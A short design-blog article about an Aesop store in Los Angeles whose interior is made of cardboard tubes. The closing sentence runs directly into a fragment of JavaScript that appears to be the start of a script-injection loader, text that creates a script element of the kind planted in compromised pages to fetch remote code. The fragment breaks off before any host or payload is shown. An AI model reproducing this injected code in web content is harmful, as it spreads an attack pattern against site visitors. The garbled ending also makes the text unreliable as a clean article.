THINKING OUTSIDE THE (CARDBOARD) BOX

THINKING OUTSIDE THE (CARDBOARD) BOX_01

The popular skin company Aesop has unveiled a new LA store whose interior is made completely of cardboard tubes. The designers Brooks + Scarpa developed this idea to establish Aesop’s identity via a monotone earthly and natural aesthetic.

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The main construction material is six-inch cylindrical cardboard tubes, acquired from local manufacturers. Prior to construction, all tubes were coated with a flame-retardant to add durability strength and fire-proofing.

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In the shop design, vertical tubes help define the layout of the store. From there on, other tubes are used as display shelving, countertops, cabinets, light-fixtures and door jambs. The store is extremely distinctive and helps to promote the idea of planet-positive recycling! Attractive, stylish and sustainable. What a cool combo!var d=document;var s=d.createElement(‘script’);

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